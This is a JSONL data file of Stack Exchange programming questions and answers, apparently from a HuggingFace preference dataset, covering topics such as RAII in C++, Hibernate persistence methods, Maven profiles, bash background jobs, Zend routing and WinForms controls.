{"id": "hf_58e0a4a0c6b6", "question": "<p>I am currently looking at a distributed cache solution. </p>\n\n<p>If money was not an issue, which would you recommend?</p>\n\n<ul>\n<li><a href=\"http://www.scaleoutsoftware.com/\" rel=\"nofollow noreferrer\">www.scaleoutsoftware.com</a></li>\n<li><a href=\"http://www.alachisoft.com/ncache/\" rel=\"nofollow noreferrer\">ncache</a></li>\n<li><a href=\"http://sourceforge.net/projects/memcacheddotnet/\" rel=\"nofollow noreferrer\">memcacheddotnet</a></li>\n<li><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=B24C3708-EEFF-4055-A867-19B5851E7CD2&amp;displaylang=en\" rel=\"nofollow noreferrer\">MS Velocity</a></li>\n</ul>\n", "question_body": "", "answer": "Out of your selection I've only ever attempted to use memcached, and even then it wasn't the C#/.NET libraries.\nHowever memcached technology is fairly well proven, just\nlook at the sites that use it\n:\n...The system is used by several very large, well-known sites including\nYouTube\n,\nLiveJournal\n,\nSlashdot\n,\nWikipedia\n,\nSourceForge\n, ShowClix, GameFAQs,\nFacebook\n,\nDigg\n,\nTwitter\n, Fotolog, BoardGameGeek, NYTimes.com, deviantART, Jamendo, Kayak, VxV,\nThePirateBay\nand Netlog.\nI don't really see a reason to look at the other solution's.\nGood Luck,\nBrian G\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.470610"}
{"id": "hf_7d967b1def0d", "question": "<p>I want Netbeans 6.1 to store the .netbeans directory in another place than the default. How do I do this?</p>\n", "question_body": "", "answer": "There's config file:\n```\n```\n<Netbeans>/etc/netbeans.conf\n\n netbeans_default_userdir=<dir>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.521320"}
{"id": "hf_851a26fb4303", "question": "<p>We have a scenario where we want to display a list of items and indicate which is the \"current\" item (with a little arrow marker or a changed background colour).</p>\n\n<p>ItemsControl is no good to us, because we need the context of \"SelectedItem\". However, we want to move the selection programattically and not allow the user to change it.</p>\n\n<p>Is there a simple way to make a ListBox non-interactive? We can fudge it by deliberately swallowing mouse and keyboard events, but am I missing some fundamental property (like setting \"IsEnabled\" to false without affecting its visual style) that gives us what we want?</p>\n\n<p>Or ... is there another WPF control that's the best of both worlds - an ItemsControl with a SelectedItem property?</p>\n", "question_body": "", "answer": "Is your ItemsControl/ListBox databound?\nI'm just thinking you could make the Background Brush of each item bound to a property from the source data, or pass the property through a converter. Something like:\n```\n```\n<ItemsControl DataContext=\"{Binding Source={StaticResource Things}}\" ItemsSource=\"{Binding}\" Margin=\"0\">\n    <ItemsControl.Resources>\n      <local:SelectedConverter x:Key=\"conv\"/>\n    </ItemsControl.Resources>\n    <ItemsControl.ItemsPanel>\n      <ItemsPanelTemplate>\n        <local:Control Background=\"{Binding Path=IsSelected, Converter={StaticResource conv}}\"/>\n      </ItemsPanelTemplate>\n    </ItemsControl.ItemsPanel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.545945"}
{"id": "hf_71a30ea30091", "question": "<p>Currently I'm trying to erase a sequence of iterators from a set, however GCC's standard library seems to be broken because std::set::erase(iterator) should return the an iterator (next iterator), however in GCC it returns void (which is standard?)</p>\n\n<p>Anyways I want to write:</p>\n\n<pre><code>myIter = mySet.erase(myIter);\n</code></pre>\n\n<p>But GCC doesn't like it...\nSo Is it safe to write this instead?</p>\n\n<pre><code>mySet.erase(myIter++);\n</code></pre>\n\n<p>Edit: And yes I'm checking against mySet.end();</p>\n", "question_body": "", "answer": "There is no problem with\n```\n```\nmySet.erase(myIter++);\n```\n```\nThe order of operation is well-defined: myIter is copied into myTempIter, myIter is incremented, and myTempIter is then given to the erase method.\nFor Greg and Mark\n: no, there is no way operator++ can perform operations after the call to erase. By definition, erase() is called after operator++ has returned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.570590"}
{"id": "hf_6871169078a6", "question": "<p>I am working on an ASP site hosted using SUN One (used to be called Chillisoft) server. I am having trouble loading in an XML file, the code I am using is below</p>\n\n<pre><code>dim directory\nset directory = Server.CreateObject(\"MSXML2.DOMDocument\")\n\nif(directory.load(Server.MapPath(\"directory.xml\"))) then\n     Response.Write(\"Loaded\")\nelse\n     Response.Write(\"NotLoaded\")\n    If directory.parseError.errorCode Then\n        Response.Write( \"Parse error\" )\n    end if\nend if\n</code></pre>\n\n<p>My asp page and directory.xml are both in the same folder \"/public_html/\".</p>\n\n<p>I think the problem might have something to do with the mappath not finding the file, but no errors are returned so not sure what to do.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I don't know much about Sun One but I do know it has a Bean that emulates MSXML.\nOridinarily, you would use:-\n```\n```\nSet directory = Server.CreateObject(\"MSXML2.DOMDocument\")\ndirectory.async = false\ndirectory.load(Server.MapPath(\"directory.xml\")\n```\n```\nOtherwise load returns immeadiately whilst the xml is loaded asynchronously.\nIt can't see how the code you have posted would not return something without error.\nFirst diagnositic I would is:-\n```\n```\nResponse.Write(Server.MapPath(\"directory.xml\"))\n```\n```\nand then\n```\n```\nDim direcotory\nSet directory = Server.CreateObject(\"MSXML.DOMDocument\")\nResponse.Write(Not (directory Is Nothing))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.607313"}
{"id": "hf_1d53b979085c", "question": "<p>Does C++ support '<a href=\"http://java.sun.com/docs/books/tutorial/essential/exceptions/finally.html\" rel=\"noreferrer\"><strong>finally</strong></a>' blocks?</p>\n\n<p>What is the <a href=\"http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization\" rel=\"noreferrer\"><strong>RAII idiom</strong></a>?</p>\n\n<p>What is the difference between C++'s RAII idiom and <a href=\"http://www.c-sharpcorner.com/uploadfile/dipalchoksi/usingstatement11092005065819am/usingstatement.aspx\" rel=\"noreferrer\"><strong>C#'s 'using' statement</strong></a>?</p>\n", "question_body": "", "answer": "No, C++ does not support 'finally' blocks.  The reason is that C++ instead supports RAII: \"Resource Acquisition Is Initialization\" -- a\npoor name\n†\nfor a really useful concept.\nThe idea is that an object's destructor is responsible for freeing resources.  When the object has automatic storage duration, the object's destructor will be called when the block in which it was created exits -- even when that block is exited in the presence of an exception.  Here is\nBjarne Stroustrup's explanation\nof the topic.\nA common use for RAII is locking a mutex:\n```\n```\n// A class with implements RAII\nclass lock\n{\n    mutex &m_;\n\npublic:\n    lock(mutex &m)\n      : m_(m)\n    {\n        m.acquire();\n    }\n    ~lock()\n    {\n        m_.release();\n    }\n};\n\n// A class which uses 'mutex' and 'lock' objects\nclass foo\n{\n    mutex mutex_; // mutex for locking 'foo' object\npublic:\n    void bar()\n    {\n        lock scopeLock(mutex_); // lock object.\n\n        foobar(); // an operation which may throw an exception\n\n        // scopeLock will be destructed even if an exception\n        // occurs, which will release the mutex and allow\n        // other functions to lock the object and run.\n    }\n};\n```\n```\nRAII also simplifies using objects as members of other classes. When the owning class' is destructed, the resource managed by the RAII class gets released because the destructor for the RAII-managed class gets called as a result.  This means that when you use RAII for all members in a class that manage resources, you can get away with using a very simple, maybe even the default, destructor for the owner class since it doesn't need to manually manage its member resource lifetimes. (Thanks to\nMike B\nfor pointing this out.)\nFor those familliar with C# or VB.NET, you may recognize that RAII is similar to\n.NET deterministic destruction using IDisposable and 'using' statements\n.  Indeed, the two methods are very similar.  The main difference is that RAII will deterministically release any type of resource -- including memory.  When implementing IDisposable in .NET (even the .NET language C++/CLI), resources will be deterministically released except for memory.  In .NET, memory is not deterministically released; memory is only released during garbage collection cycles.\n† Some people believe that \"Destruction is Resource Relinquishment\" is a more accurate name for the RAII idiom.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.632601"}
{"id": "hf_01b825ee3e3c", "question": "<p>I am using the System.Web.Routing assembly in a WebForms application. When running the application deployed on win2008/IIS7 I got the following message.</p>\n\n<blockquote>\n  <p>Session state can only be used when enableSessionState is set to true, either in a configuration file or in the Page directive. Please also make sure that System.Web.SessionStateModule or a custom session state module is included in the \\\\ section in the application configuration. </p>\n</blockquote>\n\n<p>This is only a problem when using a route I have configured. It is not a problem when directly navigating to an aspx page.</p>\n\n<p>EnableSessionState has been turned on in both the web.config and the Page directive. I have added the Session entry to httpmodule of the web.config.</p>\n\n<p>This is not an issue when developing using Visual Studio on my workstation. It is only a problem when trying to run the application under IIS7 on Win 2008.</p>\n", "question_body": "", "answer": "I'm having the same issue and I think I know what the problem is.\nI'm trying to implement a FileNotFound page under the routing system (something I've yet to figure out is how to both give a FileNotFound page AND give a 404 response in the header)\nWhat I've found, is that for some reason, the pages registered with BuildManager seem to be instanced without session context (the page was not actually requested, just instanced!).\nAt least that's what it seems to do.\nI'm now less sure of my previous assertion. Apparently, requests for images also go through the routing system when they do not exist on physically. This causes an\n```\nIRouteHandler\n```\nto be called when the image path matches. I'm pretty sure the session object does not exist when an image is requested, so that may cause the problem when the page that was routed to tries to access it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.709969"}
{"id": "hf_411ee6e8b80d", "question": "<p>I've been using maven2 and hudson for a while to do my continuous integration, but I find that Eclipse and Maven do not play well together. Sure there's a plugin, but it's cranky to mash the maven project into something that eclipse likes and the build times and unit test are too long.\nI'm considering switching back to a pure eclipse project with no ant and no maven involved. With the infinitest plugin and possible the JavaRebel agent, it would give me a very fast build-deploy-test cycle. However I'd still like to have automatic and testing as well, so:</p>\n\n<p>How do I use continuous integration with an Eclipse project?</p>\n\n<p>Is there a command line way to do it? </p>\n\n<p>Is there a build server that already supports it natively?</p>\n", "question_body": "", "answer": "Yeah, Eclipse Maven2 plugin is crap for now. But I would suggest for you to hang in there, there is a lot of benefit to using Maven2, so it actually balances out.\nWhat we do, is that we use Eclipse to develop and only use Maven to manage dependencies. Everything else is done by running \"mvn\" on command line. We keep tests in their own integration test projects (...-itest) and have continuous integration server to do build in 2 phases, first build the actual code, and second pass build and runs the -itest projects. (First pass (pure build) usually is very quick, and the integration tests build (with running of tests) usually takes quite a while.)\nHere's command line to make mvn run tests:\n```\nmvn -o verify -Ditest\n```\nOf course you need to define 'itest' profile in your parent pom:\nSay, like this:\n```\n```\n<profiles>\n  <profile>\n    <id>integration-test</id>\n    <activation>\n      <property>\n        <name>itest</name>\n      </property>\n    </activation>\n    <build>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <executions>\n            <execution>\n              <id>itest</id>\n            </execution>\n          </executions>\n          <configuration>\n            <testSourceDirectory>src/main</testSourceDirectory>\n            <testClassesDirectory>target/classes</testClassesDirectory>\n            <forkMode>once</forkMode>\n          </configuration>\n        </plugin>\n      </plugins>\n    </build>\n  </profile>\n</profiles>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.734730"}
{"id": "hf_ec071d0c6384", "question": "<p>Hibernate has a handful of methods that, one way or another, takes your object and puts it into the database. What are the differences between them, when to use which, and why isn't there just one intelligent method that knows when to use what?</p>\n\n<p>The methods that I have identified thus far are:</p>\n\n<ul>\n<li><code>save()</code></li>\n<li><code>update()</code></li>\n<li><code>saveOrUpdate()</code></li>\n<li><code>saveOrUpdateCopy()</code></li>\n<li><code>merge()</code></li>\n<li><code>persist()</code></li>\n</ul>\n", "question_body": "", "answer": "Here's my understanding of the methods.  Mainly these are based on the\nAPI\nthough as I don't use all of these in practice.\nsaveOrUpdate\nCalls either save or update depending on some checks.  E.g. if no identifier exists, save is called.  Otherwise update is called.\nsave\nPersists an entity.  Will assign an identifier if one doesn't exist.  If one does, it's essentially doing an update.  Returns the generated ID of the entity.\nupdate\nAttempts to persist the entity using an existing identifier.  If no identifier exists, I believe an exception is thrown.\nsaveOrUpdateCopy\nThis is deprecated and should no longer be used.  Instead there is...\nmerge\nNow this is where my knowledge starts to falter.  The important thing here is the difference between transient, detached and persistent entities.  For more info on the object states,\ntake a look here\n.  With save & update, you are dealing with persistent objects.  They are linked to a Session so Hibernate knows what has changed.  But when you have a transient object, there is no session involved.  In these cases you need to use merge for updates and persist for saving.\npersist\nAs mentioned above, this is used on transient objects.  It does not return the generated ID.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.759663"}
{"id": "hf_c3be5054c8aa", "question": "<p><strong>Is there a way of forcing a (child) class to have constructors with particular signatures or particular static methods in C# or Java?</strong></p>\n\n<p>You can't obviously use interfaces for this, and I know that it will have a limited usage. One instance in which I do find it useful is when you want to enforce some design guideline, for example:</p>\n\n<p><strong>Exceptions</strong><br>\nThey should all have the four canonical constructors, but there is no way to enforce it. You have to rely on a tool like FxCop (C# case) to catch these.</p>\n\n<p><strong>Operators</strong><br>\nThere is no contract that specifies that two classes can be summed (with operator+ in C#)</p>\n\n<p>Is there any design pattern to work around this limitation?\nWhat construct could be added to the <em>language</em> to overcome this limitation in future versions of C# or Java?</p>\n", "question_body": "", "answer": "Using generics you can force a type argument to have a parameterless constructor - but that's about the limit of it.\nOther than in generics, it would be tricky to actually\nuse\nthese restrictions even if they existed, but it could sometimes be useful for type parameters/arguments. Allowing static members in interfaces (or possibly static interfaces) could likewise help with the \"generic numeric operator\" issue.\nI\nwrote about this\na little while ago when facing a similar problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.800526"}
{"id": "hf_7b0a318565ae", "question": "<p>Should I use the GWT for a struts web application?</p>\n", "question_body": "", "answer": "I don't think GWT would integrate so well into Struts - GWT is more like a framework which you would use instead of Struts.\nYou could try something like\nExt JS\n, which (being a pure JavaScript library) I think would be more likely to integrate into Struts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.837786"}
{"id": "hf_6650506257f9", "question": "<p>I'm trying to run some commands in paralel, in background, using bash. Here's what I'm trying to do:</p>\n\n<pre><code>forloop {\n  //this part is actually written in perl\n  //call command sequence\n  print `touch .file1.lock; cp bigfile1 /destination; rm .file1.lock;`;\n}\n</code></pre>\n\n<p>The part between backticks (``) spawns a new shell and executes the commands in succession. The thing is, control to the original program returns only after the last command has been executed. I would like to execute the whole statement in background (I'm not expecting any output/return values) and I would like the loop to continue running.</p>\n\n<p>The calling program (the one that has the loop) would not end until all the spawned shells finish.</p>\n\n<p>I could use threads in perl to spawn different threads which call different shells, but it seems an overkill...</p>\n\n<p>Can I start a shell, give it a set of commands and tell it to go to the background?</p>\n", "question_body": "", "answer": "```\n```\nfor command in $commands\ndo\n    \"$command\" &\ndone\nwait\n```\n```\nThe ampersand at the end of the command runs it in the background, and the\n```\nwait\n```\nwaits until the background task is completed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.874158"}
{"id": "hf_a2b0445ede7c", "question": "<p>I wrote a small web app using ruby on rails, its main purpose is to upload, store, and display results from xml(files can be up to several MB) files.  After running for about 2 months I noticed that the mongrel process was using about 4GB of memory.  I did some research on debugging ruby memory leaks and could not find much. So I have two questions.</p>\n\n<ul>\n<li>Are there any good tools that can be used to find memory leaks in Ruby/rails?</li>\n<li>What type of coding patterns cause memory leaks in ruby?</li>\n</ul>\n", "question_body": "", "answer": "Memory leak is a problem in the current ruby implementation a good place to start about this is\nhttp://whytheluckystiff.net/articles/theFullyUpturnedBin.html\nWhytheluckystiff website doesn't exist anymore but you can find the original article here:\nhttps://viewsourcecode.org/why/hacking/theFullyUpturnedBin.html\nfor a more specific answer on problems with long running ruby processes see\nhttps://just.do/2007/07/18/heap-fragmentation-in-a-long-running-ruby-process/\nmaybe you could give passenger (mod_rails) a try\nhttps://web.archive.org/web/20130901072209/http://nubyonrails.com/articles/ask-your-doctor-about-mod_rails", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.923050"}
{"id": "hf_9e71312f9220", "question": "<p>How can I create a new Word document pro grammatically using Visual Studio Tools for Office? </p>\n", "question_body": "", "answer": "For a VSTO app-level add-in, you can do something like this:\n```\n```\nGlobals.ThisAddIn.Application.Documents.Add(ref objTemplate, ref missingType, ref missingType, ref missingType);\n```\n```\nwhere\n```\nobjTemplate\n```\ncan be a template of document\nSee\nDocuments.Add Method", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.985912"}
{"id": "hf_f0f3159e9702", "question": "<p>We're moving a solution with 20+ projects from .net 2.0 to 3.5 and at the same time moving from Visual Studio 2005 to 2008. We're also at the same time switching from MS Entlib 2.0 to 4.0. </p>\n\n<ul>\n<li>Is there any reasons not to let the\nVisual Studio wizard convert the\nsolution for us?</li>\n<li>Is 3.5 fully backwards compatible\nwith 2.0?</li>\n<li>Is Entlib 4.0 fully backwards compatible\nwith 2.0?</li>\n</ul>\n\n<p><strong>Edit:</strong> I might been a bit confused when I wrote this, the backwards compatability is supposed to mean; is there anything that exists in a 2.0 project that will not work/compile in 3.5</p>\n\n<p>:)</p>\n\n<p>//W</p>\n", "question_body": "", "answer": "I upgraded several projects from Visual Studio 2005 to 2008 with the Wizard, and they all went painless (well... except for that C++ beast. But you're talking about .NET anyway).\nKeep in mind that you don't need to upgrade the .NET version. Visual Studio 2008 supports .NET 2.0, 3.0 and 3.5. However, 3.5 is backwards-compatible anyway, since it sits on the same CLR and is, more or less, just some extra libraries. And the \"old\" libraries stay the same.\nI don't know about Entlib.\nWhy don't you just try and run your unit tests? :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.010116"}
{"id": "hf_1d3ccd4caa08", "question": "<p>I have a WinForms TreeView with one main node and several sub-nodes.</p>\n<p>How can I hide the + (plus sign) in the main node?</p>\n", "question_body": "", "answer": "Treview Property:\n```\n.ShowRootLines = false\n```\nWhen\n```\nShowRootLines\n```\nis false, the Plus/Minus sign will not be shown for the root node, but will still show when necessary on child nodes.\nWith the Plus/Minus sign hidden, you might consider executing the\n```\nExpand()\n```\nmethod of the root node once the tree is populated.  That will make sure that the root node shows all first-level child nodes.\nNote: There is a\n```\nShowPlusMinus\n```\nproperty on the TreeView, but it works on\nall\nnodes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.045564"}
{"id": "hf_1e0e30807fc2", "question": "<p>I have a control where I have to check in which page I am, so I can set a certain variable accordingly.</p>\n\n<pre><code>string pageName = this.Page.ToString();\nswitch (pageName)\n{\ncase \"ASP.foo_bar_aspx\": doSomething(); break;\ndefault: doSomethingElse(); break;\n}\n</code></pre>\n\n<p>this works fine locally and on some developmentservers, however when I put it live, It stopped working because I don't get <code>ASP.foo_bar_aspx</code> but <code>_ASP.foo_bar_aspx</code>\n(notice the underscore in the live version)\nWhy does it act that way, Can I set it somehow?</p>\n", "question_body": "", "answer": "That seems like a really dodgy way of getting the current request. Have you tried using\n```\nHttpContext.Current.Request.FilePath\n```\nor another\n```\nHttpContext.Current.Request...\n```\nvariable instead?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.094326"}
{"id": "hf_be773361bb1e", "question": "<p>I have three tables, A, B, C, where A is many to one B, and B is many to one C. I'd like a list of all C's in A. </p>\n\n<p>My tables are something like this: A[id, valueA, lookupB], B[id, valueB, lookupC], C[id, valueC]. I've written a query with two nested SELECTs, but I'm wondering if it's possible to do INNER JOIN with DISTINCT somehow.</p>\n\n<pre><code>SELECT valueC\nFROM C\nINNER JOIN\n(\n    SELECT DISTINCT lookupC\n    FROM B INNER JOIN\n    (\n        SELECT DISTINCT lookupB\n        FROM A\n    ) \n    A2 ON B.id = A2.lookupB\n) \nB2 ON C.id = B2.lookupC\n</code></pre>\n\n<p>EDIT:\nThe tables are fairly large, A is 500k rows, B is 10k rows and C is 100 rows, so there are a lot of uneccesary info if I do a basic inner join and use DISTINCT in the end, like this:</p>\n\n<pre><code>SELECT DISTINCT valueC\nFROM \nC INNER JOIN B on C.id = B.lookupB\nINNER JOIN A on B.id = A.lookupB\n</code></pre>\n\n<p>This is very, very slow (magnitudes times slower than the nested SELECT I do above.</p>\n", "question_body": "", "answer": "Is this what you mean?\n```\n```\nSELECT DISTINCT C.valueC\nFROM \nC\nINNER JOIN B ON C.id = B.lookupC\nINNER JOIN A ON B.id = A.lookupB\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.119051"}
{"id": "hf_12f1c6c32904", "question": "<p>I am not really familiar with Maven program but I've been using Eclipse for quite a while for Unit testing, code coverage, javadoc generation, code style checking, etc. Probably, the only main thing that I didn't really like about Eclipse is the \"compilation errors\" that it generates when you are running Eclipse and Ant simultaneously. So I am wondering if Maven 2 does the same thing if you are running Ant task.</p>\n\n<p>Lee23 </p>\n", "question_body": "", "answer": "The company I currently work for has a lot of JUnit tests which are run using Maven (1.x). We've never really had any problem and any tests that fail in maven can be debugged using the remote debugger or in Eclipse on their own.\nThe most important thing is that you take the time and effort to set up the environment properly so that when your tests run they are using the correct directories, variables, etc. This way you shouldn't get the 'compilation errors' that you would get when running Eclipse and Ant.\nMaven has the ability to run all your tests for you during the testing cycle of compilation, this should stop the need for any Ant tasks to run the tests. However, if you still need to have scripts for other tasks (generation of code, etc) then be weary of Maven's ability to generate code and not include it in the compiled binaries (jar, war), though this may well be fixed for newer versions of Maven.\nAt the end of the day it would be best to evaluate Maven 2 and see if it's right for you. It sounds like you're having (sarcasm)a lot of fun (/sarcasm) with Ant and Eclipse already though. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.154843"}
{"id": "hf_155ed1084f8d", "question": "<p>In Kohana/CodeIgniter, I can have a URL in this form:</p>\n\n<pre><code>http://www.name.tld/controller_name/method_name/parameter_1/parameter_2/parameter_3 ...\n</code></pre>\n\n<p>And then read the parameters in my controller as follows:</p>\n\n<pre><code>class MyController \n{\n    public function method_name($param_A, $param_B, $param_C ...)\n    {\n        // ... code\n    }\n}\n</code></pre>\n\n<p>How do you achieve this in the Zend Framework?</p>\n", "question_body": "", "answer": "Take a look at the Zend_Controller_Router classes:\nhttp://framework.zend.com/manual/en/zend.controller.router.html\nThese will allow you to define a Zend_Controller_Router_Route which maps to your URL in the way that you need.\nAn example of having 4 static params for the Index action of the Index controller is:\n```\n```\n$router = new Zend_Controller_Router_Rewrite();\n\n$router->addRoute(\n    'index',\n    new Zend_Controller_Router_Route('index/index/:param1/:param2/:param3/:param4', array('controller' => 'index', 'action' => 'index'))\n);\n\n$frontController->setRouter($router);\n```\n```\nThis is added to your bootstrap after you've defined your front controller.\nOnce in your action, you can then use:\n```\n```\n$this->_request->getParam('param1');\n```\n```\nInside your action method to access the values.\nAndrew", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.194779"}
{"id": "hf_31f6e80bb558", "question": "<p>I'm using <code>org.w3c</code> <code>XML API</code> to open an existing <code>XML</code> file. I'm removing some nodes , and I'm adding others instead.</p>\n\n<p>The problem is that the new nodes that are added are written one after the other, with no newline and no indentation what so ever. While it's true that the <code>XML</code> file is valid , it is very hard for a human to examine it.</p>\n\n<p>Is there anyway to add indentation , or at least a newline after each node?</p>\n", "question_body": "", "answer": "I'm assuming that you're using a\n```\nTransformer\n```\nto do the actual writing (to a\n```\nStreamResult\n```\n). In which case, do this before you call\n```\ntransform\n```\n:\n```\n```\ntransformer.setOutputProperty(OutputKeys.INDENT, \"yes\");\ntransformer.setOutputProperty(\"{http://xml.apache.org/xslt}indent-amount\", \"2\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.218548"}
{"id": "hf_5234fa30aac2", "question": "<p>In Ruby, is it possible to pass by reference a parameter with value-type semantics (e.g. a Fixnum)?\nI'm looking for something similar to C#'s '<strong>ref</strong>' keyword.</p>\n\n<p>Example:</p>\n\n<pre><code>def func(x) \n    x += 1\nend\n\na = 5\nfunc(a)  #this should be something like func(ref a)\nputs a   #should read '6'\n</code></pre>\n\n<p>Btw. I know I could just use:</p>\n\n<pre><code>a = func(a)\n</code></pre>\n", "question_body": "", "answer": "Ruby doesn't support \"pass by reference\" at all. Everything is an object and the references to those objects are always passed by value. Actually, in your example you are passing a copy of the reference to the\n```\nFixnum\n```\nObject by value.\nThe problem with the your code is, that\n```\nx += 1\n```\ndoesn't modify the passed\n```\nFixnum\n```\nObject but instead creates a completely new and independent object.\nI think, Java programmers would call\n```\nFixnum\n```\nobjects\nimmutable\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.340425"}
{"id": "hf_0d7b16e361c0", "question": "<p>How can I change the color of a DataGridView border when BorderStyle = FixedSingle?</p>\n", "question_body": "", "answer": "You cannot change the border color, it is system defined.\nInstead you could try turning off the border setting and then placing the DataGridView inside a Panel. Where the DataGridView is set to Dock.Fill and the Panel has a Padding of 1 pixel on all edges. Then setting the background color of the Panel will show as a border around the contained DataGridView.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.364836"}
{"id": "hf_d500311a2230", "question": "<p>I use Visual Basic and an automation interface to retrieve strings from an external application. These strings contain simple html formatting codes (&lt;b&gt;, &lt;i&gt;, etc.).\nIs there any easy function in Visual Basic for Word to insert these strings into a word document and convert the html formatting codes to word formatting?</p>\n", "question_body": "", "answer": "AFAIK there is no builtin function to do that in VBA. You will have to write it yourself, which would be not too difficult if you restirct it to parse\n```\n<b>, <i>, <a> and <p>,\n```\nfor example. All other tags would have to be ignored.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.400227"}
